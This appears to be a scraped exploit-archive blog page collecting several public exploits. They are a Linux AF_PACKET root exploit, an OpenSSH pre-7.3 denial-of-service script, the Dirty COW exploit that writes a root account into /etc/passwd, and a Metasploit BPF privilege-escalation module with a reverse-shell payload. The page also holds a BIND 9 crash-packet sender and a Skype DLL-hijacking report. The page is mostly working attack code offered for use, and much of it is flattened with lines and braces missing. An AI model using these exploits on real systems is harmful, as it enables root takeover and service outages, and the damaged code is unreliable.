int verification_result = 0;
void catch_sigsegv(int sig)
    verification_result = 0;
    pthread_exit((void *)1);
void *modify_vsyscall(void *arg)
    unsigned long *vsyscall = (unsigned long *)(VSYSCALL+0x850);
    unsigned long x = (unsigned long)arg;
    sigset_t set;
    sigaddset(&set, SIGSEGV);
    if(pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) {
        fprintf(stderr,"couldn't set sigmask\n");
    signal(SIGSEGV, catch_sigsegv);
    *vsyscall = 0xdeadbeef+x;
    if(*vsyscall == 0xdeadbeef+x) {
        fprintf(stderr,"\nvsyscall page altered!\n");
        verification_result = 1;
    return NULL;
void verify_stage1(void)
    int x;
    pthread_t v_thread;
    for(x=0; x<300; x++) {
        pthread_create(&v_thread, NULL, modify_vsyscall, 0);
        pthread_join(v_thread, NULL);
        if(verification_result == 1) {
    printf("could not modify vsyscall\n");
void verify_stage2(void)
    int x;
    struct stat b;
    for(x=0; x<300; x++) {
        if(stat("/proc/sys/hack",&b) == 0) {
            fprintf(stderr,"\nsysctl added!\n");
    printf("could not add sysctl\n");
void exploit(unsigned long func, unsigned long arg, void *verification_func)
    int status;
    int pid;
    pid = fork();
    if(pid == 0) {
        try_exploit(func, arg, verification_func);
    if(WEXITSTATUS(status) == 2) {
        printf("retrying stage..\n");
        kill(pid, 9);
        goto retry;
    else if(WEXITSTATUS(status) != 0) {
        printf("something bad happened, aborting exploit attempt\n");
    kill(pid, 9);
void wrapper(void)
    struct ctl_table *c;
    fprintf(stderr,"exploit starting\n");
    printf("making vsyscall page writable..\n\n");
    exploit(off->set_memory_rw, VSYSCALL, verify_stage1);
    printf("\nstage 1 completed\n");
    printf("registering new sysctl..\n\n");
    c = (struct ctl_table *)(VSYSCALL+0x850);
    memset((char *)(VSYSCALL+0x850), '\x00', 1952);
    strcpy((char *)(VSYSCALL+0xf00),"hack");
    memcpy((char *)(VSYSCALL+0xe00),"\x01\x00\x00\x00",4);
    c->procname = (char *)(VSYSCALL+0xf00);
    c->mode = 0666;
    c->proc_handler = (void *)(off->proc_dostring);
    c->data = (void *)(off->modprobe_path);
    c->extra1 = (void *)(VSYSCALL+0xe00);
    c->extra2 = (void *)(VSYSCALL+0xd00);
    exploit(off->register_sysctl_table, VSYSCALL+0x850, verify_stage2);
    printf("stage 2 completed\n");
void launch_rootshell(void)
    int fd;
    char buf[256];
    struct stat s;
    fd = open("/proc/sys/hack",O_WRONLY);
    if(fd == -1) {
        fprintf(stderr,"could not open /proc/sys/hack\n");
    memset(buf,'\x00', 256);
    readlink("/proc/self/exe",(char *)&buf,256);
    if(stat(buf,&s) == 0 && s.st_uid == 0) {
        printf("binary executed by kernel, launching rootshell\n");
        lseek(fd, 0, SEEK_SET);
        printf("could not create rootshell\n");
int main(int argc, char **argv)
    int status, pid;
    struct utsname u;
    int i, crash = 0;
    char buf[512], *f;
    if(argc == 2 && !strcmp(argv[1],"crash")) {
        crash = 1;
    if(getuid() == 0 && geteuid() == 0 && !crash) {
    else if(getuid() != 0 && geteuid() == 0 && !crash) {
    fprintf(stderr,"linux AF_PACKET race condition exploit by rebel\n");
    if((f = strstr(u.version,"-Ubuntu")) != NULL) *f = '\0';
    snprintf(buf,512,"%s %s",u.release,u.version);
    printf("kernel version: %s\n",buf);
    for(i=0; offsets[i].kernel_version != NULL; i++) {
        if(!strcmp(offsets[i].kernel_version,buf)) {
            while(offsets[i].proc_dostring == 0)
            off = &offsets[i];
    if(crash) {
        off = &offsets[0];
        off->set_memory_rw = 0xffffffff41414141;
    if(off) {
        printf("proc_dostring = %p\n",(void *)off->proc_dostring);
        printf("modprobe_path = %p\n",(void *)off->modprobe_path);
        printf("register_sysctl_table = %p\n",(void *)off->register_sysctl_table);
        printf("set_memory_rw = %p\n",(void *)off->set_memory_rw);
    if(!off) {
        fprintf(stderr,"i have no offsets for this kernel version..\n");
    pid = fork();
    if(pid == 0) {
        if(unshare(CLONE_NEWUSER) != 0)
            fprintf(stderr, "failed to create new user namespace\n");
        if(unshare(CLONE_NEWNET) != 0)
            fprintf(stderr, "failed to create new network namespace\n");
    waitpid(pid, &status, 0);
    return 0;


Inserito in: EXPLOIT, LOCAL Nessun commento

OpenSSH 7.2 Denial Of Service

# Title     : OpenSSH before 7.3 Crypt CPU Consumption (DoS Vulnerability)
# Author    : Kashinath T ( (
# Vendor    :
# Software  :
# Version   : OpenSSH before 7.3
# Tested on : Ubuntu 16.04 LTS, Centos 7
# CVE       : CVE-2016-6515
# Date      : 20-10-2016
# If the remote machine is installed and running OpenSSH version prior to 7.3,
# it does not limit the password length for authentication. Hence, to exploit
# this vulnerability' we will send a crafted data which is of 90000 characters
# in length to the 'password' field while attempting to log in to a remote
# machine via ssh with username as 'root'.
# For more info refer,
import sys
from random import choice
from string import lowercase
    import paramiko
except ImportError:
    print "[-] python module 'paramiko' is missing, Install paramiko with" \
          " following command 'sudo pip install paramiko'"
class ssh_exploit:
    def __init__(self):
        Initialise the objects
    def ssh_login(self, remote_ip):
            # Crafted password of length 90000
            passwd_len = 90000
            crafted_passwd = "".join(choice(lowercase)
                                     for i in range(passwd_len))
            # Connect to a remote machine via ssh
            ssh = paramiko.SSHClient()
            # calling connect in infinite loop
            print "[+] Entering infinite loop"
            while 1:
                ssh.connect(remote_ip, username='root',
        except Exception, msg:
            print "Error in connecting to remote host : ", remote_ip
            print "Exception in : ssh_login method."
def main():
    if len(sys.argv) != 2:
        print "usage: python 192.168.x.x"
    # Calling ssh_connect
    ref_obj = ssh_exploit()
if __name__ == "__main__":



Linux Kernel Dirty COW PTRACE_POKEDATA Privilege Escalation

// This exploit uses the pokemon exploit as a base and automatically
// generates a new passwd line. The original /etc/passwd is then
// backed up to /tmp/passwd.bak and overwritten with the new line.
// The user will be prompted for the new password when the binary is run.
// After running the exploit you should be able to login with the newly
// created user.
// Original exploit:
// To use this exploit modify the user values according to your needs
// Compile with
// gcc -pthread dirty.c -o dirty -lcrypt
// and just run the newly create binary with ./dirty
// Exploit adopted by Christian "FireFart" Mehlmauer
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>
const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";
int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;
struct Userinfo {
   char *username;
   char *hash;
   int user_id;
   int group_id;
   char *info;
   char *home_dir;
   char *shell;
char *generate_password_hash(char *plaintext_pw) {
  return crypt(plaintext_pw, salt);
char *generate_passwd_line(struct Userinfo u) {
  const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
  int size = snprintf(NULL, 0, format, u.username, u.hash,
    u.user_id, u.group_id,, u.home_dir,;
  char *ret = malloc(size + 1);
  sprintf(ret, format, u.username, u.hash, u.user_id,
    u.group_id,, u.home_dir,;
  return ret;
void *madviseThread(void *arg) {
  int i, c = 0;
  for(i = 0; i < 200000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  printf("madvise %d\n\n", c);
int copy_file(const char *from, const char *to) {
  // check if target file already exists
  if(access(to, F_OK) != -1) {
    printf("File %s already exists! Please delete it and run again\n",
    return -1;
  char ch;
  FILE *source, *target;
  source = fopen(from, "r");
  if(source == NULL) {
    return -1;
  target = fopen(to, "w");
  if(target == NULL) {
     return -1;
  while((ch = fgetc(source)) != EOF) {
     fputc(ch, target);
  printf("%s successfully backed up to %s\n",
    from, to);
  return 0;
int main(int argc, char *argv[])
  // backup file
  int ret = copy_file(filename, backup_filename);
  if (ret != 0) {
  struct Userinfo user;
  // set values, change as needed
  user.username = "firefart";
  user.user_id = 0;
  user.group_id = 0; = "pwned";
  user.home_dir = "/root"; = "/bin/bash";
  char *plaintext_pw = getpass("Please enter new password: ");
  user.hash = generate_password_hash(plaintext_pw);
  char *complete_passwd_line = generate_passwd_line(user);
  printf("Complete line:\n%s\n", complete_passwd_line);
  f = open(filename, O_RDONLY);
  fstat(f, &st);
  map = mmap(NULL,
             st.st_size + sizeof(long),
  printf("mmap: %lx\n",(unsigned long)map);
  pid = fork();
  if(pid) {
    waitpid(pid, NULL, 0);
    int u, i, o, c = 0;
    int l=strlen(complete_passwd_line);
    for(i = 0; i < 10000/l; i++) {
      for(o = 0; o < l; o++) {
        for(u = 0; u < 10000; u++) {
          c += ptrace(PTRACE_POKETEXT,
                      map + o,
                      *((long*)(complete_passwd_line + o)));
    printf("ptrace %d\n",c);
  else {
    kill(getpid(), SIGSTOP);
  printf("Done! Check %s to see if the new user was created\n", filename);
  printf("You can log in with username %s and password %s.\n\n",
    user.username, plaintext_pw);
  printf("\nDON'T FORGET TO RESTORE %s FROM %s !!!\n\n",
    filename, backup_filename);
  return 0;



Linux BPF Local Privilege Escalation

# This module requires Metasploit:
# Current source:
require 'msf/core'
class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking
  include Msf::Exploit::EXE
  include Msf::Post::File
  include Msf::Exploit::FileDropper
  def initialize(info={})
    super( update_info( info, {
        'Name'          => 'Linux BPF Local Privilege Escalation',
        'Description'   => %q{
          Linux kernel >=4.4 with CONFIG_BPF_SYSCALL and kernel.unprivileged_bpf_disabled
          sysctl is not set to 1, BPF can be abused to priv escalate.
          Ubuntu 16.04 has all of these conditions met.
        'License'       => MSF_LICENSE,
        'Author'        =>
            '',                    # discovery
            'h00die <>' # metasploit module
        'Platform'      => [ 'linux' ],
        'Arch'          => [ ARCH_X86, ARCH_X86_64 ],
        'SessionTypes'  => [ 'shell', 'meterpreter' ],
        'References'    =>
            [ 'CVE', '2016-4557' ],
            [ 'EDB', '39772' ],
            [ 'URL', '' ],
            [ 'URL', '' ]
        'Targets'       =>
            [ 'Linux x86',       { 'Arch' => ARCH_X86 } ],
            [ 'Linux x64',       { 'Arch' => ARCH_X86_64 } ]
        'DefaultOptions' =>
            'payload' => 'linux/x64/mettle/reverse_tcp',
            'PrependFork' => true,
            'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through
        'DefaultTarget' => 1,
        'DisclosureDate' => 'May 04 2016',
        'Privileged'     => true
    register_options(['WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),'COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),'MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 120 ])
      ], self.class)
  def check
    def check_config_bpf_syscall?()
      output = cmd_exec('grep CONFIG_BPF_SYSCALL /boot/config-`uname -r`')
      if output == 'CONFIG_BPF_SYSCALL=y'
        vprint_good('CONFIG_BPF_SYSCALL is set to yes')
        return true
        print_error('CONFIG_BPF_SYSCALL is NOT set to yes')
        return false
    def check_kernel_disabled?()
      output = cmd_exec('sysctl kernel.unprivileged_bpf_disabled')
      if output != 'kernel.unprivileged_bpf_disabled = 1'
        vprint_good('kernel.unprivileged_bpf_disabled is NOT set to 1')
        return true
        print_error('kernel.unprivileged_bpf_disabled is set to 1')
        return false
    def check_fuse?()
      lib = cmd_exec('dpkg --get-selections | grep ^fuse')
      if lib.include?('install')
        vprint_good('fuse is installed')
        return true
        print_error('fuse is not installed.  Exploitation will fail.')
        return false
    def mount_point_exists?()
      if directory?('/tmp/fuse_mount')
        print_error('/tmp/fuse_mount should be unmounted and deleted.  Exploitation will fail.')
        return false
        vprint_good('/tmp/fuse_mount doesn\'t exist')
        return true
    if check_config_bpf_syscall?() && check_kernel_disabled?() && check_fuse?() && mount_point_exists?()
  def exploit
    def upload_and_compile(filename, file_path, file_content, compile=nil)
      rm_f "#{file_path}"
      if not compile.nil?
        rm_f "#{file_path}.c"
        vprint_status("Writing #{filename} to #{file_path}.c")
        write_file("#{file_path}.c", file_content)
        output = cmd_exec(compile)
        if output != ''
          fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile")
        vprint_status("Writing #{filename} to #{file_path}")
        write_file(file_path, file_content)
      cmd_exec("chmod +x #{file_path}");
    doubleput = %q{
      #define _GNU_SOURCE
      #include <stdbool.h>
      #include <errno.h>
      #include <err.h>
      #include <unistd.h>
      #include <fcntl.h>
      #include <sched.h>
      #include <signal.h>
      #include <stdlib.h>
      #include <stdio.h>
      #include <string.h>
      #include <sys/types.h>
      #include <sys/stat.h>
      #include <sys/syscall.h>
      #include <sys/prctl.h>
      #include <sys/uio.h>
      #include <sys/mman.h>
      #include <sys/wait.h>
      #include <linux/bpf.h>
      #include <linux/kcmp.h>
      #ifndef __NR_bpf
      # if defined(__i386__)
      #  define __NR_bpf 357
      # elif defined(__x86_64__)
      #  define __NR_bpf 321
      # elif defined(__aarch64__)
      #  define __NR_bpf 280
      # else
      #  error
      # endif
      int uaf_fd;
      int task_b(void *p) {
        /* step 2: start writev with slow IOV, raising the refcount to 2 */
        char *cwd = get_current_dir_name();
        char data[2048];
        sprintf(data, "* * * * * root /bin/chown root:root '%s'/suidhelper; /bin/chmod 06755 '%s'/suidhelper\n#", cwd, cwd);
        struct iovec iov = { .iov_base = data, .iov_len = strlen(data) };
        if (system("fusermount -u /home/user/ebpf_mapfd_doubleput/fuse_mount 2>/dev/null; mkdir -p fuse_mount && ./hello ./fuse_mount"))
          errx(1, "system() failed");
        int fuse_fd = open("fuse_mount/hello", O_RDWR);
        if (fuse_fd == -1)
          err(1, "unable to open FUSE fd");
        if (write(fuse_fd, &iov, sizeof(iov)) != sizeof(iov))
          errx(1, "unable to write to FUSE fd");
        struct iovec *iov_ = mmap(NULL, sizeof(iov), PROT_READ, MAP_SHARED, fuse_fd, 0);
        if (iov_ == MAP_FAILED)
          err(1, "unable to mmap FUSE fd");
        fputs("starting writev\n", stderr);
        ssize_t writev_res = writev(uaf_fd, iov_, 1);
        /* ... and starting inside the previous line, also step 6: continue writev with slow IOV */
        if (writev_res == -1)
          err(1, "writev failed");
        if (writev_res != strlen(data))
          errx(1, "writev returned %d", (int)writev_res);
        fputs("writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.\n", stderr);
        while (1) sleep(1); /* whatever, just don't crash */
      void make_setuid(void) {
        /* step 1: open writable UAF fd */
        uaf_fd = open("/dev/null", O_WRONLY|O_CLOEXEC);
        if (uaf_fd == -1)
          err(1, "unable to open UAF fd");
        /* refcount is now 1 */
        char child_stack[20000];
        int child = clone(task_b, child_stack + sizeof(child_stack), CLONE_FILES | SIGCHLD, NULL);
        if (child == -1)
          err(1, "clone");
        /* refcount is now 2 */
        /* step 2+3: use BPF to remove two references */
        for (int i=0; i<2; i++) {
          struct bpf_insn insns[2] = {
              .code = BPF_LD | BPF_IMM | BPF_DW,
              .src_reg = BPF_PSEUDO_MAP_FD,
              .imm = uaf_fd
          union bpf_attr attr = {
            .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
            .insn_cnt = 2,
            .insns = (__aligned_u64) insns,
            .license = (__aligned_u64)""
          if (syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)) != -1)
            errx(1, "expected BPF_PROG_LOAD to fail, but it didn't");
          if (errno != EINVAL)
            err(1, "expected BPF_PROG_LOAD to fail with -EINVAL, got different error");
        /* refcount is now 0, the file is freed soon-ish */
        /* step 5: open a bunch of readonly file descriptors to the target file until we hit the same pointer */
        int status;
        int hostnamefds[1000];
        int used_fds = 0;
        bool up = true;
        while (1) {
          if (waitpid(child, &status, WNOHANG) == child)
            errx(1, "child quit before we got a good file*");
          if (up) {
            hostnamefds[used_fds] = open("/etc/crontab", O_RDONLY);
            if (hostnamefds[used_fds] == -1)
              err(1, "open target file");
            if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, hostnamefds[used_fds]) == 0) break;
            if (used_fds == 1000) up = false;
          } else {
            if (used_fds == 0) up = true;
        fputs("woohoo, got pointer reuse\n", stderr);
        while (1) sleep(1); /* whatever, just don't crash */
      int main(void) {
        pid_t child = fork();
        if (child == -1)
          err(1, "fork");
        if (child == 0)
        struct stat helperstat;
        while (1) {
          if (stat("suidhelper", &helperstat))
            err(1, "stat suidhelper");
          if (helperstat.st_mode & S_ISUID)
        fputs("suid file detected, launching rootshell...\n", stderr);
        execl("./suidhelper", "suidhelper", NULL);
        err(1, "execl suidhelper");
    suid_helper = %q{
      #include <unistd.h>
      #include <err.h>
      #include <stdio.h>
      #include <sys/types.h>
      int main(void) {
        if (setuid(0) || setgid(0))
          err(1, "setuid/setgid");
        fputs("we have root privs now...\n", stderr);
        execl("/bin/bash", "bash", NULL);
        err(1, "execl");
    hello = %q{
        FUSE: Filesystem in Userspace
        Copyright (C) 2001-2007  Miklos Szeredi <>
        heavily modified by Jann Horn <>
        This program can be distributed under the terms of the GNU GPL.
        See the file COPYING.
        gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello
      #define FUSE_USE_VERSION 26
      #include <fuse.h>
      #include <stdio.h>
      #include <string.h>
      #include <errno.h>
      #include <fcntl.h>
      #include <unistd.h>
      #include <err.h>
      #include <sys/uio.h>
      static const char *hello_path = "/hello";
      static char data_state[sizeof(struct iovec)];
      static int hello_getattr(const char *path, struct stat *stbuf)
        int res = 0;
        memset(stbuf, 0, sizeof(struct stat));
        if (strcmp(path, "/") == 0) {
          stbuf->st_mode = S_IFDIR | 0755;
          stbuf->st_nlink = 2;
        } else if (strcmp(path, hello_path) == 0) {
          stbuf->st_mode = S_IFREG | 0666;
          stbuf->st_nlink = 1;
          stbuf->st_size = sizeof(data_state);
          stbuf->st_blocks = 0;
        } else
          res = -ENOENT;
        return res;
      static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) {
        filler(buf, ".", NULL, 0);
        filler(buf, "..", NULL, 0);
        filler(buf, hello_path + 1, NULL, 0);
        return 0;
      static int hello_open(const char *path, struct fuse_file_info *fi) {
        return 0;
      static int hello_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {
        size_t len = sizeof(data_state);
        if (offset < len) {
          if (offset + size > len)
            size = len - offset;
          memcpy(buf, data_state + offset, size);
        } else
          size = 0;
        return size;
      static int hello_write(const char *path, const char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {
        if (offset != 0)
          errx(1, "got write with nonzero offset");
        if (size != sizeof(data_state))
          errx(1, "got write with size %d", (int)size);
        memcpy(data_state + offset, buf, size);
        return size;
      static struct fuse_operations hello_oper = {
        .getattr  = hello_getattr,
        .readdir  = hello_readdir,
        .open    = hello_open,
        .read    = hello_read,
        .write    = hello_write,
      int main(int argc, char *argv[]) {
        return fuse_main(argc, argv, &hello_oper, NULL);
    hello_filename = 'hello'
    hello_path = "#{datastore['WritableDir']}/#{hello_filename}"
    doubleput_file = "#{datastore['WritableDir']}/doubleput"
    suidhelper_filename = 'suidhelper'
    suidhelper_path = "#{datastore['WritableDir']}/#{suidhelper_filename}"
    payload_filename = rand_text_alpha(8)
    payload_path = "#{datastore['WritableDir']}/#{payload_filename}"
    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
    def has_prereqs?()
      def check_libfuse_dev?()
        lib = cmd_exec('dpkg --get-selections | grep libfuse-dev')
        if lib.include?('install')
          vprint_good('libfuse-dev is installed')
          return true
          print_error('libfuse-dev is not installed.  Compiling will fail.')
          return false
      def check_gcc?()
        gcc = cmd_exec('which gcc')
        if gcc.include?('gcc')
          vprint_good('gcc is installed')
          return true
          print_error('gcc is not installed.  Compiling will fail.')
          return false
      def check_pkgconfig?()
        lib = cmd_exec('dpkg --get-selections | grep ^pkg-config')
        if lib.include?('install')
          vprint_good('pkg-config is installed')
          return true
          print_error('pkg-config is not installed.  Exploitation will fail.')
          return false
      return check_libfuse_dev?() && check_gcc?() && check_pkgconfig?()
    compile = false
    if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
      if has_prereqs?()
        compile = true
        vprint_status('Live compiling exploit on system')
        vprint_status('Dropping pre-compiled exploit on system')
    if compile == false
      # doubleput file
      path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'doubleput')
      fd = path, "rb")
      doubleput =
      # hello file
      path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'hello')
      fd = path, "rb")
      hello =
      # suidhelper file
      path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'suidhelper')
      fd = path, "rb")
      suid_helper =
      # overwrite with the hardcoded variable names in the compiled versions
      payload_filename = 'AyDJSaMM'
      payload_path = '/tmp/AyDJSaMM'
    # make our substitutions so things are dynamic
    suid_helper.gsub!(/execl\("\/bin\/bash", "bash", NULL\);/,
               "return execl(\"#{payload_path}\", \"\", NULL);") #launch our payload, and do it in a return to not freeze the executable
    doubleput.gsub!(/execl\(".\/suidhelper", "suidhelper", NULL\);/,
    print_status('Writing files to target')
    cmd_exec("cd #{datastore['WritableDir']}")
    upload_and_compile('hello', hello_path, hello, compile ? "gcc -o #{hello_filename} #{hello_filename}.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`" : nil)
    upload_and_compile('doubleput', doubleput_file, doubleput, compile ? "gcc -o #{doubleput_file} #{doubleput_file}.c -Wall" : nil)
    upload_and_compile('suidhelper', suidhelper_path, suid_helper, compile ? "gcc -o #{suidhelper_filename} #{suidhelper_filename}.c -Wall" : nil)
    upload_and_compile('payload', payload_path, generate_payload_exe)
    print_status('Starting execution of priv esc.  This may take about 120 seconds')
    sec_waited = 0
    until sec_waited > datastore['MAXWAIT'] do
      # check file permissions
      if cmd_exec("ls -lah #{suidhelper_path}").include?('-rwsr-sr-x 1 root root')
        print_good('got root, starting payload')
        print_error('This exploit may require process killing of \'hello\', and \'doubleput\' on the target')
        print_error('This exploit may require manual umounting of /tmp/fuse_mount via \'fusermount -z -u /tmp/fuse_mount\' on the target')
        print_error('This exploit may require manual deletion of /tmp/fuse_mount via \'rm -rf /tmp/fuse_mount\' on the target')
      sec_waited +=1
  def on_new_session(session)
    # if we don't /bin/bash here, our payload times out
    # [*] Meterpreter session 2 opened ( -> at 2016-09-27 14:15:04 -0400
    # [*] - Meterpreter session 2 closed.  Reason: Died



BIND 9 DNS Server Denial Of Service

import socket
import struct
TARGET = ('', 53)
Q_A = 1
Q_TSIG = 250
def build_bind_nuke(question="\x06google\x03com\x00", udpsize=512):
    query_A = "\x8f\x65\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01" + question + int16(Q_A) + "\x00\x01"
    sweet_spot = udpsize - DNS_MESSAGE_HEADERLEN + 1
    tsig_rr = build_tsig_rr(sweet_spot)
    return query_A + tsig_rr
def int16(n):
    return struct.pack("!H", n)
def build_tsig_rr(bind_demarshalled_size):
    signature_data = ("\x00\x00\x57\xeb\x80\x14\x01\x2c\x00\x10\xd2\x2b\x32\x13\xb0\x09"
    tsig_rr_extra_fields = "\x00\xff\x00\x00\x00\x00"
    necessary_bytes  = len(signature_data) + len(tsig_rr_extra_fields)
    necessary_bytes += 2 + 2 # length fields
    # from sizeof(TSIG RR) bytes conforming the TSIG RR
    # bind9 uses sizeof(TSIG RR) - 16 to build its own
    sign_name, algo_name = generate_padding(bind_demarshalled_size - necessary_bytes + 16)
    tsig_hdr = sign_name + int16(Q_TSIG) + tsig_rr_extra_fields
    tsig_data = algo_name + signature_data
    return tsig_hdr + int16(len(tsig_data)) + tsig_data
def generate_padding(n):
    max_per_bucket = [0x3f, 0x3f, 0x3f, 0x3d, 0x3f, 0x3f, 0x3f, 0x3d]
    buckets = [1] * len(max_per_bucket)
    min_size = len(buckets) * 2 + 2 # 2 bytes for every bucket plus each null byte
    max_size = sum(max_per_bucket) + len(buckets) + 2
    if not(min_size <= n <= max_size):
        raise RuntimeException("unsupported amount of bytes")
    curr_idx, n = 0, n - min_size
    while n > 0:
        next_n = max(n - (max_per_bucket[curr_idx] - 1), 0)
        buckets[curr_idx] = 1 + n - next_n
        n, curr_idx = next_n, curr_idx + 1
    n_padding = lambda amount: chr(amount) + "A" * amount
    stringify = lambda sizes: "".join(map(n_padding, sizes)) + "\x00"
    return stringify(buckets[:4]), stringify(buckets[4:])
if __name__ == "__main__":
    bombita = build_bind_nuke()
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.sendto(bombita, TARGET)



Skype DLL Hijacking


There are a dll planting vuln in skype installer. This vuln had been reported to Microsoft but they decided not fix this.

Here is the vulnerability details:
Skype installer in Windows is open to DLL hijacking.

Skype looks for a specific DLL by dynamically going through a set of predefined directories. One of the directory being scanned is the installation directory, and this is exactly what is abused in this

Reproduce Notes:
1. Download this dll!b4ViSLJL!Pv99pN2d_WxsUHGPH0Ej3onwVeSdh41mpyKfQJfAq8E
2. Copy msi.dll to Downloads directory
3. download skype installer
4. execute the downloaded installer from your "Downloads" directory; Observed behavior: message box ahyhya

Another dll can be used to hijack: dpapi.dll cryptui.dll

Tien Phan
Blog :
twitter : @_razybo_ (309)